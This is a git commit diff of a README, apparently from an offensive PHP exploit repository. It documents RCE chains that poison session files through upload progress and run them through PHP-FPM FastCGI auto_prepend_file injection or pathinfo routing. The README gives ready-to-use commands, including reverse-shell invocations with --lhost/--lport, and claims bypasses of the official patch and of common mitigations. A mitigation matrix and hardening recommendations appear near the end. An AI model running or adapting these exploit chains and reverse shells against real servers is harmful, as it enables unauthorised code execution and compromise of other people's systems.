FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress write primitive (CVE-2026-109618/109619) with direct FastCGI access to PHP-FPM. A slow-drip multipart upload holds one FPM worker in the multipart parser while a second FastCGI request includes the poisoned session file via auto_prepend_file. Works on default PHP configuration, no LFI, no framework, no libraries. security.limit_extensions does not block auto_prepend_file inclusion. php_admin_value in pool config does not block PHP_VALUE from raw FastCGI. Tested and confirmed RCE on: PHP 8.3.6 (local, pre-patch) PHP 8.3.35 (Docker, pre-patch) PHP 8.3.36 (Docker, patched) PHP 8.4.27 (Docker, patched) Mitigated by session.upload_progress.enabled=0 or blocking FPM access. Also includes nolfi/ exploit (served save_path + pathinfo routing) from previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
@@ -2,7 +2,8 @@
|
||||
|
||||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||||
multipart parser and session upload progress handler. Includes three bypass
|
||||
exploits that defeat the official security patch and all recommended mitigations.
|
||||
exploits that defeat the official security patch and all recommended mitigations,
|
||||
plus a no-LFI chain that removes the application from the attack entirely.
|
||||
|
||||
**No external dependencies** — pure Python 3 stdlib.
|
||||
|
||||
@@ -31,6 +32,8 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||
|
||||
## Prerequisites
|
||||
|
||||
@@ -71,35 +74,89 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
|
||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||
|
||||
## Session Deserialization (No LFI)
|
||||
## RCE Without LFI
|
||||
|
||||
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
|
||||
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
|
||||
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
|
||||
the pipe character in session data triggers arbitrary deserialization.
|
||||
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
|
||||
with **no application include at all**. The consumer is php-fpm's own request
|
||||
routing instead of application code:
|
||||
|
||||
Requires a deployment where two endpoints share session storage but use
|
||||
different handlers. This occurs when a framework application coexists with
|
||||
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
|
||||
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
|
||||
`<save_path>/sess_<SID>` during multipart parsing. This fires before
|
||||
script dispatch, so any PHP-handled URL works — a 404 is enough.
|
||||
2. If `session.save_path` is web-served, the session file is directly
|
||||
requestable over HTTP.
|
||||
3. With `security.limit_extensions` empty (common in production fpm pools),
|
||||
fpm executes the extensionless session file through the classic
|
||||
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
|
||||
4. With `cleanup=1` (default) the file is truncated at upload end, so
|
||||
execution is raced against the upload window (reliable on streaming
|
||||
stacks, parse-time-limited on buffering stacks), or made deterministic
|
||||
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
|
||||
file persists.
|
||||
|
||||
Built-in POP chains for current library versions:
|
||||
|
||||
| Chain | Library | Tested version |
|
||||
|---|---|---|
|
||||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
|
||||
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
|
||||
|
||||
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
|
||||
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
|
||||
via `--chain-file`. See `session-deser/README.md` for details.
|
||||
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
|
||||
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
|
||||
the session decoder itself can never be used as the consumer: the `php`
|
||||
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
|
||||
the raw attacker bytes always land in the key which is never unserialized, and
|
||||
`mod_files` rejects any SID that could turn the filename into an include
|
||||
target.
|
||||
|
||||
```bash
|
||||
python3 session-deser/exploit.py \
|
||||
--inject-url http://target/laravel-endpoint.php \
|
||||
--trigger-url http://target/legacy-script.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
# classify the target: which URL prefixes serve session.save_path
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
|
||||
|
||||
# interactive command shell via the served session dir
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||
|
||||
# deterministic persistence via the OOM bailout instead of the race
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
|
||||
--oom --fields 30000 --fsize 512 --cmd 'id'
|
||||
```
|
||||
|
||||
`nolfi/check_deploy.php` reports whether a deployment meets the two
|
||||
preconditions (save_path web-served, empty limit_extensions). Drop it on the
|
||||
target, request it once, remove it.
|
||||
|
||||
## RCE via FastCGI (Default Config)
|
||||
|
||||
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
|
||||
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
|
||||
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
|
||||
scenarios.
|
||||
|
||||
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
|
||||
worker in the multipart parser (keeping the poisoned session file on disk)
|
||||
while a second FastCGI request to another worker sets
|
||||
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
|
||||
session file before any script. The attacker's PHP code executes.
|
||||
|
||||
`security.limit_extensions` does not block this: it only restricts
|
||||
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
|
||||
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
|
||||
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
|
||||
|
||||
```bash
|
||||
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Unix socket (local access)
|
||||
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||
|
||||
# Specify PHP file and session path
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
--script-file /var/www/html/index.php \
|
||||
--session-path /tmp --cmd 'id'
|
||||
|
||||
# Reverse shell
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
```
|
||||
|
||||
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||
pool-level configuration can prevent this when FastCGI is reachable.
|
||||
|
||||
## Patch Bypass Findings
|
||||
|
||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||
@@ -117,22 +174,41 @@ path. Worker exits code 1 (not the patched code 70), session persists.
|
||||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||||
poisoning needed. **Bypasses every recommended mitigation.**
|
||||
|
||||
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
|
||||
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
|
||||
file is executed by fpm itself via PATH_INFO routing. No application
|
||||
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
|
||||
|
||||
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
|
||||
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
|
||||
drips a multipart upload via raw FastCGI to hold a worker in the parser
|
||||
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
|
||||
No LFI, no special config, no library. `php_admin_value` does not block it.
|
||||
See `fcgi/FINDINGS.md`.
|
||||
|
||||
### Mitigation Matrix
|
||||
|
||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
||||
|---|---|---|---|
|
||||
| Patch alone | FAIL | FAIL | FAIL |
|
||||
| + `upload_progress=0` | OK | OK | **FAIL** |
|
||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
|
||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
|
||||
| Fix the LFI | OK | OK | OK |
|
||||
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|
||||
|---|---|---|---|---|---|
|
||||
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
|
||||
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
|
||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
|
||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
|
||||
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
|
||||
| + save_path not web-served | — | — | — | OK | **FAIL** |
|
||||
| + block FPM network access | — | — | — | — | OK |
|
||||
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
|
||||
|
||||
### Recommendations
|
||||
|
||||
1. Set `session.upload_progress.enabled=0` in php.ini
|
||||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||||
3. Fix any LFI vulnerabilities in applications
|
||||
4. Set `open_basedir` to restrict filesystem access
|
||||
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||
5. Keep `session.save_path` outside any web-served tree
|
||||
6. Set `open_basedir` to restrict filesystem access
|
||||
7. Block network access to FPM: use unix sockets with restricted permissions,
|
||||
firewall TCP port 9000
|
||||
|
||||
## WordPress
|
||||
|
||||
|
||||
Reference in New Issue
Block a user